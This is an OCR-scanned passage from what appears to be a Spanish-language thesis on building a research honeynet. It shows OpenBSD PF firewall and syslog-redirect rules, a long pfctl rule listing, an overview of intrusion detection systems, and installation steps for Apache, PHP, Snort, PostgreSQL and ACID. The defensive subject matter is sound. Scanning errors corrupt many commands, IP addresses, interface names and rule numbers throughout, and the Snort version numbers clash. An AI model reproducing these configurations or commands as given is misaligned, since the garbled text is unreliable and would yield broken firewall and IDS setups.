# rdr: packets coming in through ext0 with destination 192.168.1.1:1234 will

# be redirected to 10.1,1.1:5678, a state is created for such packets, and

# outgoing packets will be translated as coming from the external address.

# rdr on ext0 proto tcp from any to 192.168.1.1/32 port 1234 -> 10.1.1.1 port 5678
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II="rl1" #Interfase de Red de Ruteoc

# Redireccicuamiento de trafico del puerto 514 (syslog)
rdr on $II proto udp from any to any port 514 -> 192.168.3.200

Con esto se redirecciona todo el trafico de protécolo udp (syslog) de los honeypots
hacia el servidor de syslog remoto 192.168.3.200.

Ahora seré necesario ejecutar el signiente comando para indicarle las reglas del archivo
de configuracion:

# pfctl -N /etc/mat.conf

Para verificar las reglas configuradas de PF y NAT se ejecuta el siguiente comando:

# pfctl -s all

@0 block in quick on rl0 inet from 255.255,265.255/32 to any

@1 block in quick on rl0 inet from 224.0.0.0/3 to any

@2 block in quick on rl0 inet from 204.152.64.0/23 to any

@3 block in quick on rl0 inet from 192.168.0.0/16 to any

@4 block in quick on rl0 inet from 172.16.0.0/12 to any

@5 block in quick on rl0 inet from 169.254.0.0/16 to any

@6 block in quick on rl0 inet from 127.0.0.0/8 to any

@7 block in quick on rl0 inet from 20.20.20.0/24 to any

@8 block in quick on rl0 inet from 10.0.0.0/8 to any

@9 block in quick on rl0 inet from 0.0.0.0/8 to any

210 block out quick on rl0 inet from 192.168.115.110/32 to 255.255.255.255/32
@11 block out quick on rl0 inet from 192.168,115.110/32 to 224.0.0.0/3

©12 block out quick on rl0 inet from 192.168.115.110/32 to 204.152.64.0/23
@13 block out quick on rl0 inet from 192.168.115.110/32 to 192.168.0.0/16
©14 block out quick on rl0 inet from 192.168.115.110/32 to 172.16.0.0/12
015 block out quick on rl0 inet from 192.168.115.110/32 to 169.254.0.0/16
916 block out quick on rl0 inet from 192.168.115.110/32 to 127.0.0.0/8

@17 block out quick on rl0 inet from 192.168.115.110/32 to 20.20.20.0/24
@18 block out quick on rl0 inet from 192.168.115.110/32 to 10.0.0.0/8

@19 block out quick on rl0 inet from 192.168.115.110/32 to 0.0.0.0/8

@20 block out quick on rl0 inet from 192.168.115.118/32 to 255.255.255,265/32
@21 block out quick on rl0 inet from 192.168.115.118/32 to 224.0.0.0/3

@22 block out quick on rl0 inet from 192.168,115,.118/32 to 204.152.64.0/23
@23 block out quick on rl0 inet from 192.168.115.118/32 to 192.168.0.0/16
@24 block out quick on rl0 inet from 192.168.115.118/32 to 172.16.0.0/12
@25 block out quick on rl0 inet from 192.168.115.118/32 to 169.254.0.0/16
@26 block out quick on rl0 inet from 192.168.115.118/32 to 127.0.0.0/8

@27 block out quick on rl0 inet from 192.168.115,118/32 to 20.20.20.0/24
@28 block out quick on rl0 inet from 192.168.115.118/32 to 10.0.0.0/8

@29 block out quick on rl0 inet from 192.168.116.118/32 to 0.0.0.0/8

@30 block out quick on rl0 inet from 192.168.115.117/32 to 255.255.255.255/32
@31 block out quick on rl0 inet from 192.168.115.117/32 to 224.0.0.0/3

@32 block out quick on rl0 inet from 192,168.115.117/32 to 204.152.64.0/23
@33 block out quick on rl0 inet from 192.168.115.117/32 to 192.168.0.0/16
@34 block out quick on rl0 inet from 192.168.115.117/32 to 172.16.0.0/12
@35 block out quick on rl0 inet from 192.168.115.117/32 to 169.254.0.0/16
@36 block out quick on rl0 inet from 192.168.115.117/32 to 127.0.0.0/8

@37 block out quick on rl0 inet from 192.168.115.117/32 to 20.20.20.0/24
@38 block out quick on rl0 inet from 192.168.115.117/32 to 10.0.0.0/8

@39 block out quick on rl0 inet from 192.168.115.117/32 to 0.0.0.0/8

@40 block out quick on rl0 inet from 192.168.115.116/32 to 255.255,255.255/32
@41 bleck out quick on rl0 inet from 192.168.115.116/32 to 224.0.0.0/3

242 block out quick on rl0 inet from 192.168.115.116/32 to 204.152.64.0/23
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©43 block out quick on rl0 inet from 192.168.115.116/32 to 192.168.0.0/16

@44 block out quick on rl0 inet from 192.168.115.116/32 to 172.16.0.0/12

%45 block out quick on rl0 inet from 192.168.115.116/32 to 169.254.0.0/16

@46 block out quick on rl0 inet from 192.168.115.116/32 to 127.0.0.0/8

@47 block out quick on rl0 inet from 192.168.115.116/32 to 20.20.20.0/24

@48 block out quick on rl0 inet from 192.168.115.116/32 to 10.0.0.0/8

©49 block out quick on rl0 inet from 192.168.115.116/32 to 0.0.0.0/8

@50 block out quick on rl0 inet from 192.168.115.115/32 to 255.255.255.255/32

@51 block out quick on rl0 inet from 192.168.115.115/32 to 224.0.0.0/3

@52 block out quick on rl0 inet from 192.168.115.115/32 to 204.152.64.0/23

@53 block out quick on rl0 inet from 192,168.115.115/32 to 192,168.0.0/16

©54 block out quick on rl0 inet from 192.168.115.115/32 to 172.16.0.0/12

@55 block out quick on rl0 inet from 192.168.115.115/32 to 169.254.0.0/16

@56 block out quick on rl0 inet from 192.168.115.115/32 to 127.0.0.0/8

@57 block out guick on rl0 inet from 192.168.115.115/32 to 20.20.20.0/24

@58 block out quick on rl0Q inet from 192.168.115.115/32 to 10.0.0.0/8

@59 block out gquick on rl0 inet from 192.168.115.115/32 to 0.0.0.0/8

@60 block out log on rl0 all

061 pass in eon rl0 all keep state

@62 pass out log quick on rl0 inet proto tcp from 192.168.115.110/32 to any

port = irc flags S/SA keep state

@63 pass out log quick on rl0 inet proto tcp from 192.168.115.110/32 to any

port = www flags S/SA keep state

064 pass out log quick on rl0 inet proto tcp from 192.168.115.110/32 to any

port = domain flags S/SA keep state

@65 pass out log quick on rl0 inet proto tcp from 192,168.115.110/32 to any

port = ftp flags S/SA keep state

@66 pass out log quick on rl0 inet proto tcp from 192.168.115.118/32 to any

port = irc flags S/SA keep state

@67 pass out log quick on rl0 inet proto tcp from 192.168.115,118/32 to any

port = www flags S/SA keep state

@68 pass out log quick on rl0 inet proto tcp from 192.168.115.118/32 to any

port = domain flags S/SA keep state

©69 pass out log quick on rl0 inet proto tcp from 192.168.115.118/32 to any

port = ftp flags S/SA keep state

@70 pass out log quick on rl0 inet proto tcp from 192.168,1156.117/32 to any

port = irc flags S/SA keep state

@71 pass out log quick on rl0 inet proto tcp from 192.168.115.117/32 to any

port = wuw flags S/SA keep state

©72 pass out log quick on rl0 inet proto tcp from 192.168.115,117/32 to any

port = domain flags S/SA keep state

@73 pass out log quick on rl0 inet proto tcp from 192.168.115.117/32 to any

port = ftp flags S/SA keep state

@74 pass out log quick on rl0 inet proto tcp from 192.168.115.116/32 to any

port = irc flags S/SA keep state

@75 pass out log quick on rl0 inet proto tcp from 192.168.116.116/32 to any

port = www flags S5/SA keep state

@76 pass out log quick on rl0 inet proto tcp from 192.168.115.116/32 to any

port = domain flags S/SA keep state

@77 pass out log quick on rl0 inet proto tcp from 192.168.115.116/32 to any

port = ftp flags S/SA keep state

@78 pass out log quick on rl0 inet proto tcp from 192.168.115,115/32 to any

port = irc flags S/SA keep state

@79 pass out log quick on rl0 inet proto tcp from 192.168.115.115/32 to any

port = www flags S/SA keep state

©B0 pass out log quick on rl0 inet proto tcp from 192.168.115.115/32 to any

port = domain flags 5/5A keep state

@81 pass out log quick on rl0 inet proto tecp from 192.168.115.1156/32 to any

port = ftp flags S/SA keep state

@82 pass out log quick on rl0 inet proto udp from 192.168.115.110/32 to any

port = bootps keep state

©83 pass out log quick on rl0 inet proto udp from 192.168.115.110/32 to any

port = domain keep state

@84 pass out log quick on rl0 inet proto udp from 192.168.115.118/32 to any

port = bootps keep state

@85 pass out log quick on rl0 inet proto udp from 192.168.115.118/32 to any

port = domain keep state

@86 pass out log quick on rl0 inet proto udp from 192.168.115.117/32 to any
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port = bootps keep state 96

087 pass out log quick on rl0 inet proto udp from 192.168.115.117/32 to any

port = domain keep state

@88 pass out log quick on rl0 inet proto udp from 192.168.115.116/32 to any

port = bootps keep state

@89 pass out log quick on rl0 inet proto udp from 192.168.115.116/32 to any

port = domain keep state

@90 pass out log quick on rl0 inet proto udp from 192.168.115.115/32 to any

port = bootps keep state

@91 pass out log quick on rl0 inet proto udp from 192.168.115.115/32 to any

port = domain keep state

@92 pass out log quick on rl0 inet proto icmp from 192.168.115.110/32 to any
icmp-type echoreq code 0 keep state

@93 pass out log quick on rl0 inet proto icmp from 192.168.115.118/32 to any
icmp-type echoreq code 0 keep state

@94 pass out log quick on rl0 inet proto icmp from 192.168.115.117/32 to any
icmp-type echoreq code 0 keep state

@95 pass out log quick on rl0 inet proto icmp from 192.168.115.116/32 to any
icmp-type echoreq code 0 keep state

@96 pass out log quick on rl0 inet proto icmp from 192.168.115.115/32 to any
icmp-type echoreq code O keep state

rdr on rli proto udp from any to any port 514 -> 192,.168.3.200

udp 192.168.115.255:138 <- 192.168.115.72:138 0:1
Status: Enabled Time: 1031970585 Since: 1031618856 Debug: None
Bytes In IPv4: 0 Bytes Out: 0
IPv6: O Bytes Out: O
Inbound Packets IPv4: Passed: 0 Dropped: 0
IPv6: Passed: 0 Dropped: 0
Outbound Packets IPv4: Passed: 0 Dropped: 0
IPv6: Passed: 0 Dropped: 0
States: 1
pf Counters
state searches 669008
state inserts 39096
state removals 39095
Counters
match 38384
bad-offset 0
fragment 0
short 432
normalize 0
memory 0

En el listado anterior pueden apreciarse todas y cada una de las reglas del Firewall.
De la regla 0 a la 96 son reglas de Packet Filter después de estas se encuentra la regla
donde se indica el redireccionamiento del protocolo proveniente de los honeypots hacia
el servidor de syslog remoto, ademés se muestra un estado de las conexiones actuales
del sistema.

Sistema Detector de Intrusos (IDS)

Un Sistema Detector de Intrusos es una parte vital en el éxito de un ambiente de
seguridad, habilita la deteccién de paquetes sospechosos y ataques.

Es importante colocar un Sistema Detector de Intrusos, ya que con este todo el trafico
de la red puede ser observado. Asi es facil detectar trafico malicioso en la honeynet, asi como
decodificar y registrar algunos paquetes interesantes a un punto centralizado.

Andlisis de Amenazas de Sequridad en Cémputo



3.2 Implementacién Honeynet-DSC 107

Tal como su nombre lo dice, un Sistema Detector de Intrusos es utilizado para detectar
intrusiones o posibles intrusiones dentro de un ambiente. Existen diferentes tipos de Sisternas
Detectores de Intrusos los cuales utilizan diferentes métodos para detectar intrusiones en
varios ambientes.

Existen dos lugares diferentes para implementar un mecanismo de deteccién de intrusos:

= Deteccion de Intrusos Basado en Red:

Un Sistema de Detector de Intrusos de Red escucha las comunicaciones de red. Estos
reconocen intrusiones que ocurran a través del ambiente de red. Basicamente un Sis-
tema Detector de Intrusos de Red (NIDS) es un servicio que escucha en una interfase de
red, se encuentra observando trifico sospechoso. Los Sistemas Detectores de Intrusos
de Red principalmente son basados en firmas.

n Deteceion de Intrusos Basado en Host:

Un Sistema Detector de Intrusos de Host (HIDS) reside en un recurso el cual supervisa.
Este recurso es principalmente un servidor o estacion de trabajo. Un Sistema Detector
de Intrusos de Host supervisa los archivos de registro generados, en busca de cambios
en el sistema de archivos o verificando los cambios en la tabla de procesos. El objetivo
es detectar intrusiones dentro del host.

En cada lugar diferentes mecanismos para la deteccién de intrusos pueden ser aplicados:

s Deteccion de Intrusos Basado en Firmas:

La deteccion de intrusiones por firmas esta basada en firmas de ataques conocidos.
Estas firmas son almacenadas y comparadas contra los eventos o trafico entrante. Si
un patron concuerda una alerta es generada.

» Deteccion de Intrusos Basada en Irregularidades:

La deteccién de intrusos por irregularidades estda basada en sus decisiones en irregu-
laridades, cosas que normalmente no ocurren. Si un usuario inicia un nuevo programa
que nunca a utilizado o ingresa a las 4 de la manana (lo cual nunca antes ha hecho),
el sistema genera una alerta anunciando que algo inusual esta ocurriendo.

El sistema utilizado para la implementaciéon de la Honeynet-DSC sera un Sistema
Detector de Intrusos de Red, ya que estos son mas importantes para los Honeypots. Los
Sistemas Detectores de Intrusos de Host son peligrosos de utilizar ya que pueden ser
detectados por los intrusos.
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s Descripeién

Una Consola de Andlisis para Bases de Datos de Intrusiones (ACID - Analysis
Console for Intrusion Databases) es un analizador basado en PHP disenado para
buscar y procesar una base de datos de eventos de seguridad, generados por varios
Sistemas Detectores de Intrusos (IDS’s), firewalls, y herramientas de monitoreo de red.

Consola de Andlisis para Bases de Datos de Intrusiones (ACID)" fue desarrollada
por Roman Danyliw en el CERT Coordination Center inicialmente como parte de
el proyecto AIRCERT.

La Consola de Andlisis para Bases de Datos de Intrusiones (ACID) es libre y esta
liberada bajo licencia GPL.

» Componentes

e Constructor de consultas sql e interfase de bisqueda: Para buscar alertas marcadas
de informacién seleccionada como alarma (ej. firma, tiempo de deteccién) con
evidencia de red (ej. direccién fuente/destino, puertos o banderas).

e Visor de paquetes (decodificador): Desplegara de forma grafica la informacién de
capa 3 y capa 4 de ruteo de los paquetes de alarmas detectadas.

e Manejador de alarmas: Para proporcionar constructores de grupos de alertas para
crear incidentes (alertas grupales), eliminando alertas handled o falso positivos,
exploracion de correo electronico para colaboraciéon o archivado de alertas trans-
feridas entre las bases de datos de alertas.

e Generador de estadisticas: Basado en tiempo, firma, protocolo, direccion [P, o
clasificacion.

La Consola de Andlisis para Bases de Datos de Intrusiones (ACID) tiene la habilidad
de analizar una gran variedad de eventos los cuales son post-procesados dentro de esta
base de datos.

= Software necesario

La instalacion de Consola de Andlisis para Bases de Datos de Intrusiones (ACID),
sera llevada a cabo en un sistema operativo OpenBSD version 3.5 aunque cabe senalar
que los procedimientos de instalacion en otros sistemas UNIX son similares.

El software necesario para la instalacién del Sistema Detector de Intrusos (IDS) es el
sigulente:

19Para mayor referencia consultar sobre ACID: http://www.cert.org/kb/aircert/
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e Manejador de bases de datos

En el cual se pueda almacenar la informacién de los eventos de seguridad que sean
detectados, para su posterior consulta.

o PostgreSQL

Este es un manejador de bases de datos. Se puede obtener en:
hittp://www.postgresql. org.

e Mecanismo para almacenar y consultar la informacién de la base de
datos
o Snort
Detector de eventos de seguridad, este registrara la informacién obtenida
del trafico de red y la almacenard en la base de datos. Se puede obtener en:
http://www.snort.org/.

e PHP - Lenguaje de programacion

Este es un lenguaje de programacion que permite crear paginas web dindamicas y
se utilizard para la implementacion de Consola de Andlisis para Bases de Datos
de Intrusiones (ACID). Se puede obtener en: http://www.php.net/.

e Servidor web

o Apache

Servidor ~web (HTTP) para PHP. Se puede obtener en:
http://www. apache.org.

e Adodb - Libreria de bases de datos para PHP

Libreria de PHP para la abstraccion de bases de datos. ya que PHP no
proporciona APl para limpieza de base de datos. Se puede obtener en:
http://php.weblogs.com/adodb.

e Consola de Analisis de Bases de Datos de Intrusiones (ACID)
Consola de Andlisis de Bases de Datos de Intrusiones (ACID), disenado para
buscar y procesar una base de datos de incidentes de seguridad. Se puede obtener
en http://www.cert.org/kb/acid/.

e Script - create postgresql
Script de base de datos para el Sistema de Deteccién de Intrusiones con
Snort. El soporte para la base de datos es incluido desde la version 1.6.3 de
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snort. El script para generar la base de datos de incidentes se puede obtener en:
http://www.incident.org/snortdb/.

» [nstalacion de elementos
e Servidor Web - Apache

Se descomprime y desempaqueta el archivo tar -zzuf apache_1.3.31.tar. gz.

# tar -zxvf apache_1.3.31.tar.gz

Se ingresa al directorio apache_1.3.31 donde se encuentran los archivos necesarios
para la instalacion.

# cd apache_1.3.31

Se ejecuta el script de configuracion.

# ./configure --prefix=/var/www

Se compilan los elementos necesarios para la instalacion.,

# make

Se instalan los elementos necesarios.

# make install

You now have successfully built and installed the
Apache 1.3 HTTP server. To verify that Apache actually
works correctly you now should first check the
(initially created or preserved) configuration files

—— — s —

/usr/local/apache/conf/httpd.conf

I
I
I
I
|
|
|
| and then you should be able to immediately fire up
| Apache the first time by running:
[
I
I
[
I

/usr/local/apache/bin/apachect]l start

Thanks for using Apache. The Apache Group
http://www.apache.org/

L. P —

Una vez instalado se ejecuta el servicio.

# /usr/sbin/apachectl start

Y se verifica que el servidor se esté ejecutando, ingresando a la pégina principal
del servidor, se puede observar esto en la figura 3.3.

http://127.0.0.1/index . html
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OpenBSD

Al)ache

It Worked!

I you can see thes page, thes the people who own thas host have just sctivated the Apache Web
server software mckided wich thew OpenB ST Sysem They now have to add content 1o ths
dirertory and replace this placeholder page, or slse pomt the verver at ther real content

Documentation

The Apache docusentation has bear inchided wish ths destnbunion

Also be sure to read the 18] and hitp4(8) mazpages
g .
Graphics
You are free to use the anage below on an Apache-powered web server.

i PR

Yeu ean also use the mnage below on o DpenBSD-powered web server. Many other QpenBSD

pnager are also avadable B
o) sewvied by
OpenBSD

These mnages are alio appropnate for & webserver unng god e with openSSL cryptography.

Figura 3.3: Ejecucion de Servidor Web Apache
e Lenguaje de Programaciéon PHP

Instalacion de php para postgres.

Se agrega el binario php4-4.0.6p1-postgresql.tgz al sistema.
# pkg_add php4-pgsql-4.3.3.tgz
To finish the install, enable the php4 module with:
/usr/local/sbin/phpxs -s

To enable parsing of PHP scripts, add the following to
/var/www/conf/httpd.conf:

AddType application/x-httpd-php .php

|

|

|

|

I

|

I

I

| Copy the config file below into /var/www/conf/php.ini
| /usr/local/share/doc/php4/php.ini-recommended
|

|

|

|

Don’t forget that the default OpenBSD httpd is chrooted

into /var/www by default, sc you may need to create support
directories such as /var/www/tmp for PHP to work correctly.

| Enable this module in php.ini using the following command:

| /usr/local/sbin/phpxs -a pgsql
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Se habilita el modulo de php en el archivo de configuracion de apache hitpd.conf
mediante el comando php4-enable.

# /usr/local/sbin/phpxs -s

[activating module ‘php4’ in /var/www/conf/httpd.conf]

cp /usr/local/lib/php/libphpd4.so /usr/lib/apache/modules/libphp4.so

chmod 755 /usr/lib/apache/modules/libphp4.so

cp /var/www/conf/httpd.conf /var/www/conf/httpd.conf.bak

cp /var/uww/conf/httpd.conf.new /var/www/conf/httpd.conf
rm /var/www/conf/httpd.conf.new

You should copy the sample configuration files from
/usr/local/share/doc/php4 to /var/www/conf/php.ini

Una vez habilitado el médulo para php4 en /var/www/conf/httpd. conf, serd nece-
sario realizar algunas modificaciones.

vi /var/www/conf/httpd.conf

Modificar la extension de archivo que reconocerd un script en php:

AddType application/x-httpd-php .php
AddType application/x-httpd-php-source .phps

Para comprobar el funcionamiento del médulo de php se crea el siguiente script:

# vi /var/www/htdocs/index.php
<7

phpinfo()

7>

Este script mostrard informacién que serd interpretada por php y serd presentada
en formato html.

Se reinicia el servidor web apache mediante el comando apachectl.

# apachectl restart
/usr/sbin/apachectl restart: httpd restarted

En la figura 3.4 se accesa a la pdgina de prueba de php.

http://localhost/index.php

Anadlisis de Amenazas de Sequridad en Cémputo



3.2 Implementacién Honeynet-DSC 113

|system OpenBSO (ds01 seguridad unam mx 3.4 GENERIC#18 1385
Build Date Sep 7 2003 22 24:45

Configure Command Bulll via the OpenBSD Ponts Tree
Server AP{ Apache

Virtusal Directory Suppart disabled
Configuration File (phpdni) Path | Aarhwwwdcont

PHP AP 20020818

PHP 20020429

Zend Extensis 20021010

Debug Build no

Thread Safety disablad.

Registered PHP Streams php. hitp, fp, hites, fins, zllb

Thiz program makes use of the Zend Scripling Language Engina:
Zend Engine v1 3.0, Copyright (¢} 1898-2003 Zend Technologies

Figura 3.4: Ejecucion de Php

e Sistema Detector de Intrusos de Red - Snort

Se descomprime y desempaqueta el archivo snort-2.1.5.tar. gz

http://wwu.pcre.org/

tar -zxvf pcre-4.5.tar.gz

./configure

make

make check

make install

tar -zxvf snort-2.1.3.tar.gz

Se accede al directorio snort-2.1.8 donde se encuentran los archivos necesarios
para la instalacion.

cd snort-2.1.1

Se configurard indicando en que directorio serd instalado: -
prefiv=/usr/local/snort/, asi como el archivo ejecutable de la base de datos
a utilizar: —with-postgresql=/usr/local/bin/.

# ./configure --prefix=/usr/local/snort/ --with-postgresql=/usr/local/bin/

Se compilan los componentes necesarios para la instalacion.

# make

Se realiza una verificacion.

Andlisis de Amenazas de Seguridad en Cémputo



3.2 Implementacién Honeynet-DSC 114

# make check

Se proceda a la instalacién de componentes.

# make install

Se crea el directorio donde se almacenardn los archivos
configuracion y reglas de snort: /usr/local/snort/etc/.

# mkdir /usr/local/snert/etc/
cp etc/snort.conf /usr/local/snort/etc/

de

Se edita el archivo de configuraciéon de snort: snort.conf para indicar la red sobre

la cual trabajara.

Se deberan modificar las siguientes lineas:

var HOME_NET any

Por estas otras:

var HOME_NET 192.168.X.0/24

Con esto se agrega la red a la que pertenece la honeynet (192.168.X.0).

Se debera quitar el comentario a la siguiente linea:

output database: alert, postgresql, user=snort dbname=snort

En la cual se especifica el usuario de la base de datos snort.

Incluir todas las reglas al quitar los comentarios a las siguientes lineas.

include $RULE_PATH/web-attacks.rules
include SRULE_PATH/backdoor.rules
include $RULE_PATH/shellcode.rules
include $RULE_PATH/policy.rules
include $RULE_PATH/porn.rules
include SRULE_PATH/info.rules
include $RULE_PATH/icmp-info.rules
include $RULE_PATH/virus.rules
include $RULE_PATH/chat.rules
include $RULE_PATH/multimedia.rules
include $RULE_PATH/p2p.rules

B R

Ahora se copian las reglas y archivos de configuracion de snort

Jusr/local/snort/etc/

¢p -r rules/ /usr/lecal/snort/
cp -r etc/*.map /usr/local/snort/etc/
cp -r etc/*.config /usr/local/snort/etc/

Se crea el directorio donde se almacenaran las bitdcoras de snort.

# mkdir /var/log/snort/

Se comprueba que el servicio de la base de datos esté ejecutandose.
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# su - snort

$ postmaster -D snortdb/

Lock file "/home/snort/snortdb//postmaster.pid" already exists.

Is another postmaster (pid 2713) running in "/home/snort/snortdb/"?
$ exit

Se verifica el identificador de interfaz de red en la cual se desea que trabaje snort.

# ifconfig -a
rll: flags=8843<UP,BROADCAST ,RUNNING,SIMPLEX,MULTICAST> mtu 1500
media: Ethernet autoselect (10ObaseT)
status: active
inet 192.168.159.75 netmask Oxffffff00 broadcast 182.168,159.255
inet6 feB80::280:adff:feTe:bcc3ldcO prefixlen 64 scopeid Ox1

Como se puede ver el identificador de la interfaz es rl1.

Se ejecuta snort indicando la ruta del archivo eje-
cutable:  Jusr/local/snort/bin/snort, el  archivo  de  configuracién
Jusr/local/snort/etc/snort.conf, y la interfaz de red: rl1.

# /usr/local/snort/bin/snort -c /usr/local/snort/etc/snort.conf -i rli

Log directory = /var/log/snort
Initializing Network Interface rlil

--== Initializing Snort ==--

Deceding Ethernet on interface rli

Initializing Preprocessors!

Initializing Plug-ins!

Initializating Output Plugins!

Parsing Rules file /usr/local/snort/etc/snort.conf

o o ]
Initializing rule chains...
No arguments to frag2 directive, setting defaults to:
Fragment timeout: 60 seconds
Fragment memory cap: 4194304 bytes
Stream4 config:
Stateful inspection: ACTIVE
Session statistics: INACTIVE
Session timeout: 30 seconds
Session memory cap: B388608 bytes
State alerts: INACTIVE
Scan alerts: ACTIVE
Log Flushed Streams: INACTIVE
No arguments to stream4 _reassemble, setting defaults:
Reassemble client: ACTIVE
Reassemble server: INACTIVE
Reassemble ports: 21 23 25 53 B0 143 110 111 513
Reassembly alerts: ACTIVE
Back Orifice detection brute force: DISABLED
Using LOCAL time
database: compiled support for ( postgresql )
database: configured to use postgresql

database: user = snort
database: database name = snort
database: sensor name = 192.168.159.75

database: sensor id = 1

database: schema version = 104

database: using the "alert" facility

1238 Snort rules read...

1238 Option Chains linked into 163 Chain Headers
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0 Dynamic rules

B I o o e o S P S Y

Rule application order: ->activation->dynamic->alert->pass->log

-#> Spnort! <=-
Version 2.1.3 (Build 88)
By Martin Roesch (roesch@sourcefire.com, Www.sSnort.org)

“Cdatabase: Closing postgresql connection to database "snort"

--== Initialization Complete ==--

Snort analyzed 15556 out of 16322 packets, dropping 766(4.693%) packets

Breakdown by protocol:

TCP:
UDP:
ICHP:
ARP:
IPv6:
IPX:
OTHER:
DISCARD:

14489
128
12

92

0

0
0
0

(88.770%)
(0.
(0.

(4]

(0.

0
(0
(0

784%)
o74%)
.564%)
000%)
.000%)
-000%)
.000%)

Action Stats:
ALERTS: 24
LOGGED: 21
PASSED: 0

Fragmentation Stats:

Fragmented IP Packets:
Fragment Trackers:
Rebuilt IP Packets:
Frag elements used:
Discarded(incomplete):
Discarded(timeout):
Frag2 memory faults:

B B2

(=R = =]

(0.086%)

TCP S5tream Reassembly

TCP Packets Used:
Stream Trackers:

Stats:

Stream flushes: 2
Segments used: 6
Streamd Memory Faults: 0

14489
59

(88.7T0L)

Snort received signal 2, exiting

Con esto ha quedado snort funcionando adecuadamente y almacenando alertas

en la base de datos snort.

e Servidor de bases de datos Postgresql

Primero se agrega el archivo binario postgresql-7.4.2.tgz al sistema.

pkg_add postgresql-7.4.2.tgz

Con esto queda instalado el servidor de bases de datos postgresql.'!

Se agrega al usuario snort, el cual sera el propietario de postgresql. Generalmente
el usuario propietario de postgresql es postgres.

# adduser snort

Ypkg_add es un comando propio de BSD.

Analisis de Amenazas de Sequridad en Computo



3.2 Implementaciéon Honeynet-DSC 117

Se ingresa al sistema como el usuario snort.

# su - snort

Se inicializa la base de datos indicando el directorio /home/snort/snortdb/ donde
se almacenaran las bases de datos.

$ /usr/local/bin/initdb -D /home/snort/snortdb/

Se ejecuta el servicio mediante el comando postmaster indicando el directorio
donde se almacenan las bases de datos (/home/snort/snortdb/ ) y el archivo de
registro de sucesos /home/snort/logfile.

§ /usr/local/bin/postmaster -D /home/snort/snortdb/ > /home/snort/logfile 2>&1 &

Una vez que el servicio se esta ejecutando, se comprueba el funcionamiento de la
base de datos.

Se crea una base de datos prueba con el comando createdb.

§ /usr/local/bin/createdb prueba
CREATE DATABASE

Se accede a la base de datos mediante el comando psql.

$ psql prueba
Welcome to psql, the PostgreSQL interactive terminal.

Type: \copyright for distribution terms
\h for help with SQL commands
\? for help on internal slash commands
\g or terminate with semicolon to execute query
\q to quit

Se listan las bases de datos actuales.

prueba=# \1
List of databases
Database | Owner
___________ SIS
prueba | snort
template0 | snort
template!l | snort
(3 rows)

Se sale de la base de datos y se elimina la base de datos prueba.
prueba=# \q

\$ dropdb prueba
DROP DATABASE

Ahora se creara la base de datos snort a partir del script create postgresql.

Se crea la base de datos snort.

\$ createdb snort
CREATE DATABASE
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Se redirecciona mediante el comando psql el script create_postgres hacia la base
de datos snort.

# cp snort-2.1.1/contrib/create_postgresql /home/snort/

# su - snort

$ psql < create_postgresql snort

NOTICE: CREATE TABLE / PRIMARY KEY will create implicit index ’schema_pkey’ for
table ’schema’

CREATE TABLE

INSERT 16982 1

NOTICE: CREATE TABLE will create implicit sequence ’signature_sig_id_seq’ for SERIAL
column ’‘signature.sig_id’

NOTICE: CREATE TABLE / PRIMARY KEY will create implicit index ’signature_pkey’ for
table ‘signature’

CREATE TABLE

CREATE INDEX

CREATE INDEX

NOTICE: CREATE TABLE / PRIMARY KEY will create implicit index 'sig_reference_pkey’
for table ’'sig_reference’

CREATE TABLE

NOTICE: CREATE TABLE will create implicit sequence ’reference_ref_id_seq' for SERIAL
column ’reference.ref_id’

NOTICE: CREATE TABLE / PRIMARY KEY will create implicit index 'reference_pkey’ for
table ‘reference’

CREATE TABLE

NOTICE: CREATE TABLE will create implicit sequence ’'reference_system_ref_system_id_seq’
for SERIAL column 'reference_system.ref_system_id’

NOTICE: CREATE TABLE / PRIMARY KEY will create implicit index ’'reference_system_pkey’
for table 'reference_system’

CREATE TABLE

NOTICE: CREATE TABLE will create implicit sequence 'sig_class_sig _class_id_seq’
for SERIAL column ’sig_class.sig_class_id’

NOTICE: CREATE TABLE / PRIMARY KEY will create implicit index ’sig_class_pkey’

for table 'sig_class’

CREATE TABLE

CREATE INDEX

NOTICE: CREATE TABLE / PRIMARY KEY will create implicit index ’event_pkey’ for
table ’‘event’

CREATE TABLE

CREATE INDEX

CREATE INDEX

NOTICE: CREATE TABLE will create implicit sequence ’sensor_sid_seq’ for SERIAL
column ’sensor.sid’

NOTICE: CREATE TABLE / PRIMARY KEY will create implicit index ’sensor_pkey’ for
table ’'sensor’

CREATE TABLE

NOTICE: CREATE TABLE / PRIMARY KEY will create implicit index ’iphdr_pkey’ for
table *iphdr’

CREATE TABLE

CREATE INDEX

CREATE INDEX

NOTICE: CREATE TABLE / PRIMARY KEY will create implicit index ’tcphdr_pkey’ for
table 'tcphdr’

CREATE TABLE

CREATE INDEX

CREATE INDEX

CREATE INDEX

NOTICE: CREATE TABLE / PRIMARY KEY will create implicit index ’udphdr_pkey' for
table 'udphdr’

CREATE TABLE

CREATE INDEX

CREATE INDEX

NOTICE: CREATE TABLE / PRIMARY KEY will create implicit index ’icmphdr_pkey' for
table 'icmphdr’

CREATE TABLE

CREATE INDEX

NOTICE: CREATE TABLE / PRIMARY KEY will create implicit index ’'opt_pkey' for
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table ’opt’

CREATE TABLE

NOTICE: CREATE TABLE / PRIMARY KEY will create implicit index ‘data_pkey® for
table 'data’

CREATE TABLE

NOTICE: CREATE TABLE / PRIMARY KEY will create implicit index ’encoding_pkey' for
table ’encoding’

CREATE TABLE

INSERT 17091 1

INSERT 17092 1

INSERT 17093 1

NOTICE: CREATE TABLE / PRIMARY KEY will create implicit index ’detail_pkey’ for
table ’'detail’

CREATE TABLE

INSERT 17101 1

INSERT 17102 1

Una vez que la base de datos se creo con éxito se ingresa a la misma para verificar.

$ psql snort
Welcome to psql 7.4.2, the PostgreSQL interactive terminal.

Type: \copyright for distribution terms
\h for help with SQL commands
\? for help on internal slash commands
\g or terminate with semicolon to execute query
\q to quit

snort==#

Se listan las tablas de la base de datos snort

snort=# \dt
List of relations

Schema | Name | Type | Owner
public | data | table | snort
public | detail | table | smort
public | encoding | table | snort
public | event | table | snort
public | icmphdr | table | snort
public | iphdr | table | snort
public | opt | table | snort
public | reference | table | snort
public | reference_system | table | snort
public | schema | table | snort
public | senser | table | snort
public | sig_class | table | snort
public | sig_reference | table | snort
public | signature | table | snort
public | tcphdr | table | snort

| udphdr | table | snort

public

Como se puede apreciar en la figura 3.5 son 22 las tablas creadas por el script
create_postgres y corresponden al Diagrama Entidad Relacion (ER):
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e ACH reference_system =l = reference
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Figura 3.5: Diagrama Entidad Relacion de la Base de Datos de Snort
e Consola de Analisis de Bases de Datos de Intrusiones (ACID)

